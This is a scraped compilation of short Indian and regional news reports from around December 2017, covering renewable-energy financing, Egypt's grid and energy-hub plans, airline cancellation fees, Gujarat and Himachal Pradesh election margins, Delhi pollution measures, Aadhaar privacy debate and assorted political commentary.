Tata Motors has operations in Britain with its marquee JLR being the cash-cow for the group, South Korea (Tata Daewoo), Thailand, South Africa, and Indonesia which operats through a network of 76 subsidiaries or associate companies.
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YES Bank and European Investment Bank, a long-term lending institution of the European Union, have joined hands for a USD 400 million fund for renewable energy projects in India over 15 years. The European bank will contribute half of the fund with the rest coming from YES Bank, project promoters and other financial institutions.

YES Bank will also manage the co-financing programme for construction of new solar plants and wind farms across the country.

A joint press release issued by the banks said solar projects in Rajasthan, Telangana, Karnataka and Maharashtra had been identified to be given funds under the initiative. Certain wind and some more solar projects are under examination, the release said.

The Narendra Modi government aims to have an installed capacity of 175 GW of power based on renewable sources by 2022. This would comprise 100 GW of solar, 60 GW of wind, 10 GW of biomass and 5 GW of small hydropower capacity coming from units of up to 25 MW capacity.
The first phase of operations in the project to connect electricity grids between Egypt and Saudi Arabia is set to start in 2021, Egypt's Minister of Electricity Mohamed Shaker said at the Al-Ahram Foundation Energy Conference on Monday.

The minister said that work is ongoing on the project, which will use a direct current system at a capacity of 400/500kV/ 3,000 megawatts, describing the project as an ideal model for electricity linkage due to the difference in peak hours of electricity usage between the two countries.

"The project is proceeding according to its scheduled timeline," the minister said.

Shaker said that Egypt has also signed an MoU to link electricity grids with Cyprus and Greece, which makes the country an electricity linkage centre connecting three continents.

The minister also said that there are studies being conducted on linking electricity grids with the southern part of the African continent to benefit from its huge capacity in hydroelectric energy.

"The Egyptian government has adopted a national strategy to make Egypt an international hub for energy trade and distribution," Shaker said, adding that Egypt is in a good position to achieve this due to its strategic geographical location as a transcontinental country.

In 2015, Cairo and Riyadh signed an agreement to connect the two country's electricity grids with funding from a loan from the Kuwaiti Fund for Arab Economic Development.

A report prepared by the Egyptian parliaments energy affairs committee said that the agreement primarily aims to boost the electricity-generating capacity of both countries.

The two electricity grids of Egypt and Saudi Arabia will be connected via three stations  with the first in the Egyptian city of Badr and the other two in the Saudi cities of Medina and Tabuk.

Three stations will also be linked via aerial lines and marine cables across the Gulf of Aqaba and will help connect the two electricity grids of the two countries and boost their total power-generation capacity to more than 90,000 megawatts.

The project will help exchange energy between the two countries in peak hours, to a maximum of 3,000 megawatts, as well as help them export surpluses in electricity.

Egypt has been working to upgrade its power capacity and renewable energy projects in order to meet rising power demands.

In 2015, Egypt signed a 8 billion ($9 billion) deal with the German energy giant to build three high efficiency combined-cycle power plants and 12 wind power installations at a capacity of 16.4 gigawatts.

The project, which is underway, would boost Egypts power generation capacity by around 50 percent by 2018.

Earlier this month, Egypt and Russia signed an agreement to officially launch work on Egypt's first-ever nuclear power plant at Dabaa on the north coast.

The Dabaa agreement stipulates Russia will build four-reactors which will produce 4,800 megawatts at 1,200 megawatts per reactor. The first reactor is expected to begin operation in 2024. The project is expected to be completed in 12 years at a cost of $25 billion.

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Answer: Air Odisha.

Domestic airlines on Monday listed a flat cancellation fee of Rs 3000 or base fare plus fuel surcharge per passenger, whichever is lower, bringing relief to passengers who were charged heavily for cancelling a ticket, reported Indian Express.

Rs 3,000 or base fare plus fuel surcharge per passenger, whichever is lower, various airlines website displayed.

The reduction in prices comes after the Union Minister of State for Civil Aviation Jayant Sinha expressed concern over Rs 3,000 as a cancellation fee "being too high", following which the Director General of Civil Aviation (DGCA) had written to the airlines, asking them for data on cancellation charges.

Sinha, on several occasions, had mentioned that in many cases the cancellation charge exceeded the price of air ticket and had urged the airlines to bring them down.

As per the rules, the cancellation charge should not exceed more than the sum of the base fare and fuel surcharge.

Under no circumstances, the airline shall levy cancellation charge more than the basic fare plus fuel surcharge. The airlines shall not levy an additional charge to process the refund, according to the rules stated under the part II of Section-3 in civil aviation requirement (CAR).

Many travel booking websites believe that the move will benefit the passengers, especially the ones travelling for a shorter distance as the fare is lower than Rs 3,000.

In a move that will definitely bring cheer to passengers, domestic airlines have revised their cancellation charges This move will come as a respite for flyers, especially those who book their tickets well in advance in order to get cheaper prices The move will also help in lowering customer grievances, which are largely around the issue of the quantum of charges levied on cancellations, Sharat Dhall, COO (B2C), Yatra.com told the paper.

The move will benefit at least 10-15 percent of the travellers who book their tickets well in advance but lose their money on cancellation, John Nair, Head, Business Travel, Cox & Kings, told the paper.

Airlines, including Vistara, Indigo and Go Air said their cancellation fee was always in accord with the DGCA rules.

At Vistara, the cancellation fee has always been the lower of base fare (which includes fuel surcharge) or cancel fee. Taxes plus airport fees are always refunded Travel agents may levy own service fee as well, which is not in our control Vistaras cancellation charges have always been compliant with the regulations. And we also have flex fares with nil change and cancel fees, a spokesperson from Vistara airlines told the paper.
The Bharatiya Janata Party's win in Gujarat wasn't as resounding as it would have liked, and its victory margin in a number of seats was far from convincing. The victory in 15 constituencies was key to the BJP crossing the half-way mark (a 92-seat win) for the Gujarat Assembly elections.

Of the 182 seats in the Gujarat Assembly, 26 were won by a margin of less than 3,000 votes, according to the Election Commission. The BJP won 15 of these seats and the Congress 11. Furthermore, the margin of victory was less than 1,000 seats in seven constituencies. The Congress won four of these seats, while the BJP three.

South Gujarat's Kaprada constituency, where Congress Jitubhai Harjibhai Chaudhari won by 170 votes, saw the closest margin of victory for any candidate this year. Total vote count margin in the communally-sensitive Godhra, where two-time incumbent CK Raulji triumphed by 258 votes, was second to Kaprada. Raulji defected to the BJP from the Congress just months before the Gujarat Assembly Elections.

What if

If results in the 15 constituencies where the BJP won by less than 3,000 votes had gone the Congress' way, the ruling party would have faced a defeat for the first time 22 years in the state.

The Congress and its allies won 80 seats while the BJP emerged victorious in 99 constituencies.

A few hundred, perhaps a few thousand, votes in 15 constituencies would have swung the results in favour of the Congress and its allies. With 80 seats in its bag, the Congress+ combine would have crossed the half-way mark for a majority with 95 wins. The swing could have ended the BJP's reign in Gujarat as its vote-share would have been reduced to 84, the party's lowest tally since 1995.

Constituencies Winning Party Winning Candidate Win Margin (Votes) Godhra BJP CK Raulji 258 Dholka BJP Bhupendrasinh Manubha Chudasama 327 Botad BJP Saurabh Patel 906 Himatnagar BJP Rajendrasinh Ranjitsinh Chavda 1,712 Porbandar BJP Arjunbhai Devabhai Modhvadiya 1,855 Gariadhar BJP Keshubhai Hirjibhai Nakrani 1,876 Umreth BJP Govindbhai Raijibhai Parmar 1,883 Rajkot Rural BJP Lakhabhai Sagathiya 2,179 Khambhat BJP Maheshkumar Kanaiyalal Raval 2,318 Matar BJP Kesarisinh Jesangbhai Solanki 2,406 Prantij BJP Gajendrasinh Udesinh Parmar 2,551 Vagra BJP Arunsinh Ajitsinh Rana 2,628 Fatepura BJP Rameshbhai Bhurabhai Katara 2,711 Dabhoi BJP Shaileshbhai Kanaiyalal Mehta 2,839 Visnagar BJP Rushikesh Ganeshbhai Patel 2,869

Incidentally, seven of these 15 constituencies Godhra, Dholka, Botad, Himatnagar, Porbandar, Gariadhar and Umreth  had a win margin of fewer than 2,000 votes.

Among these 15 constituencies, Congress had won four in the 2012 Assembly Elections and the rest were with BJP. Of the four seats which BJP snatched from Congress, two  Himatnagar and Parantij  were won comfortably with over 7,000 votes by the Congress in the 2012 Assembly Elections.

On the other hand, if the results in the 11 constituencies where the Congress defeated the BJP were otherwise, the saffron party's victory would have been pronounced. The BJPs tally would have shot to 110 which certainly would have been a comfortable win. The Congress' vote-share would have further slumped to 66 from its current tally of 77.

Incidentally in Deodar, Talaja, and Jamjodhpur  which Congress wrested wins this year  were won comfortably by BJP in the 2012 Assembly Elections. The winning margin for all three seats was more than 18,000 in 2012.

Eight of these 11 constituencies  Kaprada, Mansa, Dangs, Deodar, Chhota Udaipur, Wankaner, Modasa and Talaja  had win margin of fewer than 2,000 votes.

Himachal Pradesh

A similar analysis of Himachal Pradeshs 68 constituencies reveals that 18 seats had win margin of fewer than 2,000 votes, including the five seats where win margin was less than 1,000 votes.

Both parties were almost equally successful in bagging closely fought seats. Congress won nine seats where vote margin was less than 2,000 votes and the BJP won eight. One such seat went to the Communist Party of India (Marxist).

Congress Jagat Singh Negi from Kinnaur was declared a winner by 120 votes in the closest fought contest in the state. Rajinder Rana of Congress defeated BJP CM candidate Prem Kumar Dhumal by 1,919 votes from Sujanpur.

Most of the Himachal Pradeshs constituencies had a winning margin less than 10,000 largely owing to the comparatively low population. Any win by more than 2,000 votes could easily be said a comfortable one.

NOTA

Among the 26 closely fought constituencies in Gujarat, if the NOTA (None Of The Above) votes in 25 constituencies had gone to the losing candidates, the results would have been otherwise. The only constituency where this would not have made any difference was Gariadhar where BJPs Keshubhai Hirjibhai Nakrani won by 1,876 votes. The votes polled for NOTA was 1,557 in Gariadhar.

However, in Himachal Pradesh, NOTA votes polled were more than the winning margin in only four out of 18 closely fought constituencies Dalhousie, Kasauli, Barsar, and Kinnaur.

In both the states, particularly in Gujarat, leaders failed to woo the undecided voters. A total of 5.5 lakh voters opted for NOTA in Gujarat and over 34,000 voters chose NOTA in Himachal Pradesh.

Data suggests that the failure to convince NOTA voters hurt the Congress. If these votes had polled in the favour of Congress, the battle for Gujarat would have been won by the grand old party.
In the fight against pollution, the Delhi government is reviewing 'weapons in its arsenal'. Deputy Chief Minister Manish Sisodia and Environment Minister inspected the use of anti-smog gun or Fog Cannon at the Delhi Secretariat.

The official Twitter handle of the ruling Aam Aadmi Party tweeted the pictures of the inspection. The tweet was also retweeted by Manish Sisodia.

The Delhi government has decided to trial run the anti-smog gun at east Delhi's Anand Vihar ISBT on 20 December.

Anand Vihar area is the most polluted area in Delhi with PM 2.5  concentration almost always staying multiple times the permissible limit. Even on Tuesday, around noon, the concentration was 232 micrograms per cubic metre.

The Fog Cannon Dust Suppression System developed by Cloud Tech is 'designed to tackle the problem of airborne dust particles generated by open mining activities, demolition work, and bulk material handling,' according to the company.

The company claims that the machine can suppress up to 95 percent of the particles in its throw range. The fan-based machine uses water to create mist and throws that in the open sky. The mist captures the dust particles and falls down clearing the air.

The company makes three models of the Fog Cannon, each with different power and throwing capacity.

Earlier, in a meeting, the Lt Governor Anil Baijal directed authorities to ensure management of municipal solid waste completely in a time frame of 16 months.

"The plan should cover a time-frame not exceeding 16 months and also indicate the exact requirement of funds. The chief secretary has been asked to coordinate and finalise it," the L-G office said in a statement.

Baijal also directed all three corporations to ensure that no methane fires occur at the three landfill sites and for this, they should take help of experts of the Science & Technology Ministry, the statement said.

(With inputs from PTI)
An undated video of Indian Army soldiers allegedly destroying the phones of recruits has surfaced. In the video, two men in Indian Army clothes are destroying a bunch of phones with stones in front of the recruits lined up in a formation.

The video is reportedly shot in Mahar Regimental Centre situated at Saugor in Madhya Pradesh. The video has visuals of recruits and instructors in white training uniforms.

An instructor can be heard saying, Maine tumko kitna samjhaya tha. Achchha khaasa tumhare phone rehte tumhare paas. Wahi hai naa, gadhe ke seengh nahi hote (How much did I tell you! Better, your phone would have stayed with you but as they say donkeys dont have horns).

Video Credit: YouTube/National Herald India

The video was even uploaded to the China Global Television Networks website and YouTube channel, purportedly to shame the Indian Army.

According to The Times of India, such actions have been taken three or four times more since the filming of the video. It is said that the video was shot in 2015. Army officers said that such measures are taken if recruits repeatedly disobey the orders and breach discipline.

"The Army is all about discipline, which is critical in the face of an enemy. Recruits cannot flout discipline with impunity. The recruits are usually let off with a warning at first. Their phones are confiscated for some days if they continue to disobey orders," the TOI report quoted a senior Army officer.

The officer said that if these measures have no effect on the recruits, the phones are destroyed to send a clear message.

According to Army rules, mobile phones are not permitted during physical training, drill and weapon-training classes. Phones with cameras are not allowed inside many Army establishments as a security measure.

The personnel are repeatedly warned against the threat of data-stealing from their phones via an enemy espionage. Recently, troops along the Sino-Indian borders were ordered to delete many Chinese apps such as WeChat, UC browser, Weibo, Truecaller from their phones.
Ivanka Trump, daughter of U.S. President Donald Trump, during the Global Entrepreneurship Summit (GES) in Hyderabad, India November 29, 2017. REUTERS/Cathal McNaughton - RC1E09C0FE10

Ivanka Trump, the adviser and daughter of US President Donald Trump, has thanked Telangana Chief Minister K Chandrasekhar Rao for his hospitality during her recent visit to Hyderabad.

In a hand-written letter addressed to Rao, she described her visit as an "incredible and inspiring experience".

Last month, Ivanka Trump led a delegation of US administration officials and entrepreneurs at the Global Entrepreneurship Summit (GES) held here.

Prime Minister Narendra Modi also hosted a gala dinner for her at the famous Falaknuma Palace Hotel in the city.

Ivanka Trump, in her letter to the chief minister, said she was touched by the warmth of the people of Telangana.

"I also want to thank you for the exquisite gift that you presented to me at the Falaknuma Palace. I am deeply touched by your thoughtful gesture and by the warmth of the people of Telangana," she said in the letter, a copy of which was released last night.

She further said that she looks forward to coming to India in the near future.

Ivanka Trump, who is also an entrepreneur, was invited by the prime minister during his visit to the White House in June to speak at the GES.
A Trinamool Congress (TMC) member in Rajya Sabha on Tuesday made a case for a new legislation to ensure safety of the database of all citizens and said the Aadhaar Card should not be made mandatory till that time.

Raising the matter during the Zero Hour, Sukhendu Shekhar Roy claimed that in recent months, over 130 million Aadhaar database has been leaked from government websites.

He said the Wikileaks had indicated that the CIA had allegedly accessed the sensitive bio-metric data from the Aadhaar card database.

"This national ID becomes especially problematic when it is linked to external non-governmental database such as mobile numbers and is used to share personal data with mobile operators," Roy said.

Even the government and intelligence authorities do not necessarily have the capacity to monitor the security practices of third parties, he said.

"In such a situation, we strongly feel against the linking of Aadhaar Card with everything -- bank accounts, mobile numbers, health cards and other cards," the senior TMC member said.

He said when the Supreme Court has ruled that the right to privacy was a fundamental right, "I urge upon the government that a new legislation should be enacted to secure and ensure the safety of the database of the citizens".

Till such time, the Aadhaar Card should not be made mandatory, he added.

In his Zero Hour mention, Ram Kumar Kashyap (INLD) demanded the status of martyrs for Bhagat Singh, Sukhdev, Rajguru and Chandrashekhar.

He referred to a report according to which Pakistan has accorded the status of martyr to Bhagat Singh.

Rajya Sabha Chairman M Venkaiah Naidu suggested to the Law Minister to discuss the matter with the Minister of Culture and then give some clarification "because a wrong message is going".

"I also felt concerned when I read about it in newspapers. I don't know the full facts," he said.

In his response, Law Minister Ravi Shankar Prasad "all of us" have deep commitment to the supreme sacrifice of Bhagat Singh.

"A particular fact has been brought to our notice...Our government is fully dedicated to give all the respect to the supreme sacrifice of Bhagat Singh, Sukhdev and others," the minister said.

Raising another issue, K V P Ramachandra Rao (Cong) asked the government to withdraw the decision of complete disinvestment of Dredging Corporation of India (DCI).

The decision of the Cabinet to completely sell the DCI to private operators not only creates a monopoly of the private operators in the dredging sector but also becomes a threat to the nations security, he added.

Rewati Raman Singh (SP) highlighted the plight of potato farmers in Uttar Pradesh. Massive production of the kitchen staple has led to steep decline in its prices.

The SP member said potato was sold for 20-25 paise a kilogram.
India Economy

With India's growing trade ties with the East, ensuring navigational freedom in the strategic South China Sea has become important for the country just as it is to other trading nations, a former top Indian diplomat has said.

Navigational freedom is a concern for all of the world's trading nations that use the South China Sea route, whether it is Japan, China and the US, said former National Security Adviser Shivshanker Menon.

In 1991, about 15.6 per cent of India's Gross Domestic Product (GDP), as external merchandise trade, went to the West through the Suez. But by 2014, half of 49.3 per cent of the GDP, as external merchandise trade, was shipped through the South China Sea to the East.

As such, the South China Sea now has become more important for India unlike earlier, said Menon after delivering a public lecture on 'Asia's New Geopolitics'.

China claims almost all of the South China Sea but Vietnam, the Philippines, Malaysia, Brunei and Taiwan have counter claims over the waterway.

The US is periodically deploying its naval ships and fighter planes to assert freedom of navigation.

"We have a common interest in the navigation there, it is in nobodys interests to see freedom of navigation affected in the South China Sea," said Menon, who is a Distinguished Visiting Research Fellow at the Institute of South Asian Studies (ISAS), a think tank here.

It seems there is enough of common interest all around for Association of Southeast Asian Nations (ASEAN), China, India, Japan and the US to make sure that this trade goes through the South China Sea "peacefully", he said.

The ASEAN is a regional intergovernmental organisation comprising ten Southeast Asian states. Its members include Indonesia, Malaysia, the Philippines, Singapore and Thailand, Brunei, Cambodia, Laos, Myanmar and Vietnam.

China, he observed, wants to solve the problem and is asking concerned parties to talk to her.

The old system to relying on the US to solve the problem is not going to be there, he believes.

China is negotiating a code of conduct directly with the ASEAN for the South China Sea, he noted.

It has already worked out a declaration of conduct in the South China Sea with the South East Asian regional grouping for easing of tension.
North Korea's leader Kim Jong Un is seen during the inspection of a potato flour factory in this undated photo released by North Korea's Korean Central News Agency (KCNA) in Pyongyang. (Reuters)

A poster by the local CPI(M) unit in rural Kerala has left the ruling party's leadership red-faced after it showed the image of North Korean despot Kim Jong-un. The poster had appeared a few days back at Nedumkandam to advertise the local level meeting of the party.

The CPI (M) in Kerala has been in limelight for the past few months for all the wrong reasons. From allegations of organised killing of opposition cadres to the alleged mishandling of recent Cyclone Ockhi, the party has been on the backfoot. The recent blunder has further embarrassed the state unit.

According to various reports, the poster appeared in the town of Nedumkandam, Idukki district situated more than 200 km north of Thiruvananthapuram. Originally meant to inform people about the party area level meet that was to be held earlier in the week, the poster showed the picture of Kim Jong-un.

The poster soon became viral all across social media sites garnering mostly negative feedback. The fact that the area is part of the assembly constituency represented by MM Mani, the state minister infamous for his statements supporting violence against rivals did not help the cause either.

In his tweet on his account, BJP leader Sambit Patra highlighted the image to allege that it revealed the true intentions and attitudes of the CPI(M). Kim Jong-un finds place in CPMs posters in Kerala!! No wonder they have converted Kerala into Killing fields for their opponents! Hope the left is not planning to launch missiles at the RSS,BJP offices as their next gruesome agenda!, he stated. The comments came at the backdrop of repeated allegations by the saffron party that hundreds of its workers have been assassinated by the CPI(M) in the last two decades.

However, the CPI(M) leadership in the Idukki district tried to downplay the situation by defending its cadres. Kim is the only communist leader who dares to challenge US President Donald Trump. He's a die-hard fighter against American imperialism which has killed thousands while playing the role of the world's cop. For us, that is the important thing; we do not consider other elements of Kim's personality," CPI(M)s district secretariat member P N Vijayan was quoted saying in a report by The Times of India.
A Muslim woman prays before having her Iftar (breaking of fast) meal during the holy month of Ramadan at the Jama Masjid (Grand Mosque) in the old quarters of Delhi, India, June 25, 2015. REUTERS/Anindito Mukherjee TPX IMAGES OF THE DAY - RTR4YY4A

The President of a Hindu temple committee has donated his land for the expansion of a mosque in Karnatakas Dakshina Kannada district. The development is surely a welcome news from the communally sensitive region.

As per a report in The Times of India, Mohan Rai, a native of Olemundovu village under Keyyur gram panchayat near Mangaluru donated 12 cents of his personal property for the expansion of an adjacent mosque.

The mosque authorities had reportedly requested Mohan Rai, the President of Eliya Sri Vishnumurthy Temple to provide land for their expansion plan. In response to this, Rai who actively participates in the programs of the mosque readily agreed to hand over the land to the temple authorities.

The masjid is located close to my property and the committee needed additional land. Though we are of different faiths, we have only one god. Hence, we have to respect all religions. We should not discriminate in the name of religion. God has given me everything and I am donating a part of it," Rai was quoted saying in the report. "Every Indian should show such generosity. There is nothing in this nation that is bigger than Hindu-Muslim unity," said Hussein Darimi, convener of Renjaladi Islamic Centre.

The act comes at a time when the entire coastal belt of Karnataka is witnessing law and order problems. There are fears rising that with the state elections around the corner tensions in the region could lead to large-scale violence in the name of religion. Recently, a death of a youth under mysterious circumstances in the Honnavar town had brought the state to the edge for a few days.
Finance Minister Arun Jaitley said the BJP's victory in Gujarat and Himachal Pradesh reaffirms people's trust in the development agenda and policies of the Modi-government.

The BJP retained power in Gujarat and snatched Himachal Pradesh from the Congress. Results of the elections were announced.

"This victory reiterates pan India trust of people in the development agenda & policies of our government led by PM @narendramodi ji," Jaitley said in a tweet.

In another tweet, he said election results show trust of the people in national development agenda of the BJP.
Egypt aims to be a regional hub for oil and gas trading, Petroleum Minister Tarek El Molla said at an energy conference on Monday

Egypt is working on infrastructure investments that will transform it into a regional hub for oil and gas trading, capitalizing on the needs of various companies to store their petroleum products, Petroleum Minister Tarek El Molla said at Al-Ahrams first energy conference on Monday.

As Brent prices fell to $30-40 per barrel, companies are favoring storage until prices go up again, boosting demand for floating storage.

We would be attractive for companies that store [gas and petroleum products], El Molla said, pointing out that Egypt has 15 million tonnes of capacity for the storage of crude and petroleum products.

In recent years, Egypt's petroleum ministry has been investing in storage facilities, refineries, pipelines, ports and liquefied natural gas (LNG) stations, the minister said, with 19 petroleum ports on the Mediterranean Sea and the Gulf of Suez, and two natural gas liquefying plants, Idku and Damietta.

We are working on expanding piers and the depth of ports, as well as storage capacity, El Molla added.

He said Egypt aims to be a regional hub for energy trading, saying it would become a free economic regional center for the trading of oil and gas (like Rotterdam and Singapore) and a strategic center to export energy that is produced from Egypts own resources or energy imported from neighboring countries, responding to the needs of the Egyptian market and of main markets in other countries.

Referring to Rotterdam and Singapore, the minister said, We try to take their best practices ... to position Egypt as an energy hub."

Reiterating that Egypt is focusing on the transit of natural gas and petroleum products for export through infrastructure investments, El Molla said, What will give us sustainability is the trading.

Saudi Arabian crude is already transported through SUMED pipelines from Sidi Kreir, going from east to west, or from north to south. In addition, Egypt is in talks with Kuwait to export petroleum products.

Egypt has 9,500 kilometres of pipelines to transport crude and petroleum products, and eight refineries with a designed capacity of 38 million tonnes per year, according to El Molla.

On refineries, El Molla said, With the exception of MIDOR, we need to renovate refineries to fit international standards.

EU targeted as consumer for energy hub

An updated cooperation protocol on energy with the European Union will be signed in the beginning of March 2018, with the EU expected to be the main consumer for energy transported from Egypt for trading, El Molla said.

The cooperation protocol on energy with the EU was signed in 2008.

The petroleum ministry is working on linking Mediterranean nations to plants in Egypt for gas liquefaction to be ready for gas trading.

Turning Egypt into a regional hub for the energy trade will respond to local demand, attract direct and non-direct investments, and generate job opportunities, El Molla said.

The ministry has contracted an international consultant to prepare the strategy for the regional hub and a roadmap will be prepared for implementing the strategy.

Natural gas law executive regulations

El Molla also announced that the executive regulations for the law regulating the natural gas market will be issued before February 2018.

The law, which was issued in August this year, will support the private sectors work in the Egyptian market, the minister said.

An independent authority will be formed to regulate the market for transport, storage and export.

The authority will work on allowing the private sector to use natural gas transport networks, as well as setting fair prices, amidst a monopoly of state companies over the networks.

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Congress

As the BJP retained Gujarat, its bickering ally, the Shiv Sena, today said it was the Rahul Gandhi-led Congress which had emerged as the "real winner" in the election.

Coming to power was no "big thing", Sena leader Sanjay Raut said, adding that the Congress might have lost the polls, but had "defeated" the BJP.

"Although you see the BJP coming to power, the real winner is the Congress party. They may have lost, but have defeated the BJP," Raut said.

He pointed out that the BJP had been in power for over 20 years in Gujarat.

"Coming to power is not a big thing," Raut said.

The sena leader also claimed that the BJP's "much-touted Gujarat model" had failed.

"...the model, which took the BJP on the path to power in the country, has failed. The reason is that none of the dreams you (BJP) showed the state and the country were realised," Raut claimed.

The BJP "deprived the poor by emptying their pockets" with demonetisation, the Rajya Sabha member further said.

"The result is seen in Gujarat," he told reporters here.

Raut stressed that the poll results indicated that the people were not happy with the BJP in Gujarat.

The BJP came to power in the country by citing the 'Gujarat model' (of development), he said.

"If people in Gujarat are not happy (with the BJP) today, then understand their psyche, understand what people in the country feel," Raut said.

The BJP, he added, should understand the mindset of the people of Gujarat and "the reason the people there are not happy".

Raut claimed that the Narendra Modi-led government had not registered success on a single issue, whether it was security, Kashmir, Pakistan, the note ban, unemployment or farmer suicides.

"This is what I gather from the Gujarat election results," he said.

Raut's remarks came as the Sena heaped praise on Rahul Gandhi, lauding the newly appointed Congress president for "fighting the Gujarat poll battle without bothering about the result".

The Uddhav Thackeray-led party said the 47-year-old Amethi MP had taken over the reins of the party at a crucial stage.

"Rahul Gandhi has accepted the responsibility as Congress president at a crucial stage. There should be no objection in wishing him all the best," said an editorial in the Sena mouthpiece 'Saamana'.

The BJP today retained power in Gujarat, securing a simple majority in the 182-member Assembly.
rahul gandhi narendra modi

The Gujarat elections were billed as a litmus test for Rahul Gandhi and his campaign style and a new social media strategy also earned him the moniker Rahul 2.0.

With the Gujarat results now out, Gandhi can now afford to pat himself on the back for making significant inroads into the BJP bastion. winning 77 seats in the state.

The results, coupled with Rahul Gandhi's recent ascension to the Congress throne, mean the focus will inevitably shift to the 2019 general elections.

Barring unforeseen circumstances, Gandhi will be the Congress' prime ministerial candidate for the next Lok Sabha elections, where he will take another shot at upstaging Prime Minister Narendra Modi. It's a contest defined by a personality clash because their bachelorhood aside, the two men are poles apart.

Since the 2014 Lok Sabha election campaign, the Bharatiya Janata Party has portrayed Narendra Modi as a man who worked his way up from the bottom, milking his background as the son of a chaiwala in Gujarat to chart his rise.

Rahul Gandhi, meanwhile, was born into India's most prominent political family. He is the great-grandson of Jawaharlal Nehru, the grandson of Indira Gandhi and the son of Rajiv and Sonia Gandhi.

While the BJP has cultivated the 'common man' image of Modi to resonate with the masses, the Prime Minister himself has referred to Rahul Gandhi as a 'Shehzada', taking swipe at his privileged background and the Congress' dynastic politics.

Also read: Special coverage of Assembly Elections results

A fluent and fiery orator, Modi has often single-handedly carried the BJP over the past few years. Viewed by his followers as a messiah of sorts, he has relied on political machismo to exert confidence and authority, famously saying once that a '56-inch' chest was needed to turn Uttar Pradesh into an economically prosperous state like Gujarat.

The 67-year-old's popularity doesn't seem to have diminished even as he enters the final year of his term of prime minister. He is still the face of most state elections, including the ongoing campaign in Gujarat, with local leaders often consigned to the backdrop.

Rahul Gandhi's journey has been quite different. A reluctant politician who took the plunge rather belatedly, he has long been struggling to shake off the 'Yuvraaj' tag.

But Gandhi has shown willingness to turn things around on occasion. Aligning himself with farmers' agitations like the one in Bhatta Parsaul in 2011 showed his combative side. And in Gujarat, he proved he can hold his own even as an outsider.

Public speaking has never been his forte and he has publicly acknowledged on more than one occasion that Modi is a better orator. However, the substance of his speeches has been improved of late, with more fact-backed attacks against the government. And his witty social media banter has added an extra edge.

A respectable show in the Gujarat elections has proved that Rahul Gandhi can stand up to Modi in his own backyard. Now, it remains to be seen if he can topple his nemesis.

With less than 18 months to go for the next general elections and several key state elections along the way, personality clashes will be laid bare on a frequent basis and it remains to be seen if Rahul Gandhi can rise to the challenge of reviving not just his party, but also his image vis-a-vis Modi.

Sanjay Jha, a Congress spokesperson, succinctly described the personality clash in his own words: "The way Mr. Modi generates heat, Mr, Gandhi generates light. Thats the difference between the two. Mr. Modi has a very flamboyant personality and he believes in rhetoric and theatrics. Mr. Gandhi on the other hand is someone who is more himself. He is not trying to be someone that he is not. I think thats making him likeable."
Shiv Sena on Tuesday launched a scathing attack on its ally BJP over the Gujarat election results and said the Gujarat model has been shaken.

In an editorial in its mouthpiece Saamana, Shiv Sena said it is pathetic that the BJP had to resort to emotional issues and Hindu-Muslim divide to garner notes in Gujarat. None of the BJP leaders were willing to speak about vikas attained in 22 years.

The Sena said this is a warning bell for the BJP. The Gujarat model has been shaken. Our best wishes to BJP that it doesnt crumble in 2019, the editorial said.

The bickering ally of the BJP said in spite of a BJP win in Gujarat everybody is talking about the leaps of Rahul Gandhi.

Reacting to the Gujarat election results, Sena had said on Monday that the Congress which had emerged as the "real winner".

Coming to power was no "big thing", Sena leader Sanjay Raut had said, adding that the Congress might have lost the polls, but had "defeated" the BJP.

"Although you see the BJP coming to power, the real winner is the Congress party. They may have lost, but have defeated the BJP," Raut said. He pointed out that Gujarat had been in power for over 20 years in Gujarat. "Coming to power is not a big thing," Raut said.

The BJP "deprived the poor by emptying their pockets" with demonetisation, the Rajya Sabha member further said. "The result is seen in Gujarat."
Chitrakoot : Uttar Pradesh Chief Minister Yogi Adiyanath meting with administrative officer during his visit in Chitrakoot district of Uttar Pradesh on Saturday. PTI Photo (PTI5_20_2017_000090B)

Giving assurance of a consistent and supportive policy environment, Uttar Pradesh Industries Development Minister Satish Mahana on Tuesday invited investors and industrialists from Andhra Pradesh and Telangana to explore possibilities of investing in UP.

"We have come up with a very progressive industrial policy after holding detailed discussions with industries and industry associations. We have big potential area and we welcome industries from Andhra Pradesh and Telangana and across the country to Uttar Pradesh now," Mahana, told reporters here.

He was speaking on the sidelines of a Road Show held here to attract investors to attend the UP Investors Summit on February 21 and 22.

According to the minister, "Previously there was a disconnect between the government and industry. Now, UP is changing and the opinion towards the state has rapidly changed".

Welcoming the start-up community of Hyderabad, Mahana shared the vision of UP government to emerge as a start-up destination by fostering a culture of innovation and entrepreneurship.

Speaking on the recently launched IT & Start up Policy 2017, Mahana also highlighted the intention of the government led by Chief Minister Yogi Adityanath, to create world-class infrastructure and incubators to support start-ups in the state.

"Hyderabad is known for its Information Technology and Electronics industry. We would certainly like to invite leading companies in these sectors to come to Uttar Pradesh and explore possibilities of investing in the state," said Anup Chandra Pandey, Infrastructure and Industrial Development Commissioner.

Welcoming investments across all the focus sectors of the state like IT, electronics, manufacturing, food processing, energy, textiles among others Pandey laid his emphasis on the recently launched MSME policy of Uttar Pradesh.

The country's largest Incubator is also proposed to be established in Uttar Pradesh, said Sanjiv Saran, Additional Chief Secretary, Department of IT & Electronics.

"In UP already 2,000 start ups are functioning and we would like to provide infrastructure to them by way of setting up a large incubator similar to the one here in Hyderabad. We are setting up this incubator in Lucknow," Saran said.

"A fund of funds with a corpus of Rs 1,000 crore will be instituted to provide growth capital to UP-based start-ups," he said.

The officials further said a revised film policy will be brought out in the next 15-days.

According to an official release, V Prasanna Reddy, Whole-Time Director, GVK Power & Infrastructure Limited has expressed interest to invest in upcoming airports, specially Jewar airport and also in the power sector.
Pakistan's security czar today said that the stability of the South Asian region hangs in a delicate balance and the possibility of a nuclear war cannot be ruled out.

National Security Advisor Lt Gen (retd.) Nasser Khan Janjua also accused the US of conspiring against the multi- billion China-Pakistan Economic Corridor (CPEC) with India, The Express Tribune reported.

Addressing a seminar on issues of national security here, Janjua claimed that India has been stockpiling a range of dangerous weapons and it threatens Pakistan continuously of conventional warfare.

"The stability of the South Asian region hangs in a delicate balance, and the possibility of nuclear war cannot be ruled out," he claimed.

The NSA stressed that supporting US forces in the region had given birth to the rise of terrorism inside the country.

"As the Taliban grow stronger in Afghanistan, America has started to shift the blame for its failures in the country onto Pakistan," he said.

He also alleged that as part of its policy to counter Chinese influence in South Asia, the US is conspiring against the China-Pakistan Economic Corridor along with India.

"The US has given India role in Afghanistans political process, giving New Delhi priority over Islamabad, and has opposed the CPEC," he said.

